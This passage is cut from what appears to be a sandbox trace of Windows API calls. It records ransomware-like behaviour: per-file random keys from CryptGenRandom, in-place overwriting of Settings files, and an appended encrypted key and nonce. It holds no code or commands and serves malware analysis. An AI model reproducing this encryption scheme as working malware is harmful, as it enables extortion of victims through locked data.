lpNumberOfBytesWritten=0x2e1f9bc*=0x4bb, lpOverlapped=0x0) returned 1 [0196.386] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4bb [0196.386] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.386] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.387] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.387] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.387] CloseHandle (hObject=0x1c24) returned 1 [0196.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.402] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_ShellMode_TaskbarAppsVisibility.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.402] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x506, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x506, lpOverlapped=0x0) returned 1 [0196.403] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1286, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.403] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x506, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x506, lpOverlapped=0x0) returned 1 [0196.404] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x506 [0196.404] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.404] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.404] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.405] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.405] CloseHandle (hObject=0x1c24) returned 1 [0196.406] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.406] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0196.406] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_ShellMode_Preference.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.407] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cf, lpOverlapped=0x0) returned 1 [0196.408] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.408] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cf, lpOverlapped=0x0) returned 1 [0196.408] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cf [0196.409] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.409] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.409] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.409] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.409] CloseHandle (hObject=0x1c24) returned 1 [0196.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.411] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_ShellMode_ModeChangeConfig.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.411] ReadFile (in: hFile=0x1c24, lpBuffer=0x30ef8a8, nNumberOfBytesToRead=0x4ed, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef8a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ed, lpOverlapped=0x0) returned 1 [0196.413] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1261, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.413] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f02b8*, nNumberOfBytesToWrite=0x4ed, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f02b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ed, lpOverlapped=0x0) returned 1 [0196.413] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ed [0196.413] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.413] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.413] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.414] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.414] CloseHandle (hObject=0x1c24) returned 1 [0196.416] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.416] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.416] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Radio_IsAirplaneModeEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.416] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f7, lpOverlapped=0x0) returned 1 [0196.417] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1271, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.417] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f7, lpOverlapped=0x0) returned 1 [0196.417] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f7 [0196.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.418] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.418] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.418] CloseHandle (hObject=0x1c24) returned 1 [0196.421] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.421] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.421] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Radio_DeviceList.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.422] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c0, lpOverlapped=0x0) returned 1 [0196.423] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.423] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c0, lpOverlapped=0x0) returned 1 [0196.423] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c0 [0196.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.424] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.424] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.424] CloseHandle (hObject=0x1c24) returned 1 [0196.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Proxy_ManualProxyAddress.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.426] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4e1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e1, lpOverlapped=0x0) returned 1 [0196.427] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1249, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.427] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e1, lpOverlapped=0x0) returned 1 [0196.428] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e1 [0196.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.428] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.428] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.429] CloseHandle (hObject=0x1c24) returned 1 [0196.430] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0196.430] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.430] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Proxy_AutomaticDetection.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.430] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4e4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e4, lpOverlapped=0x0) returned 1 [0196.438] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.438] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e4, lpOverlapped=0x0) returned 1 [0196.438] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e4 [0196.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.439] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.439] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.440] CloseHandle (hObject=0x1c24) returned 1 [0196.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.442] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Proxy_AutomaticConfigScript.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.443] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f3, lpOverlapped=0x0) returned 1 [0196.445] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.445] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f3, lpOverlapped=0x0) returned 1 [0196.446] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f3 [0196.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.446] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.447] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.447] CloseHandle (hObject=0x1c24) returned 1 [0196.452] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.452] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.452] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Privacy_OpenPrivacyStatementLink.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.452] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x506, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x506, lpOverlapped=0x0) returned 1 [0196.453] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1286, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.453] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x506, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x506, lpOverlapped=0x0) returned 1 [0196.454] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x506 [0196.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.454] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.454] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.455] CloseHandle (hObject=0x1c24) returned 1 [0196.456] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.456] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0196.456] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Privacy_EnableCollectionOfUrlsAppsUse.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.457] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x51f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x51f, lpOverlapped=0x0) returned 1 [0196.519] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.519] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x51f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x51f, lpOverlapped=0x0) returned 1 [0196.520] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x51f [0196.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.520] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, 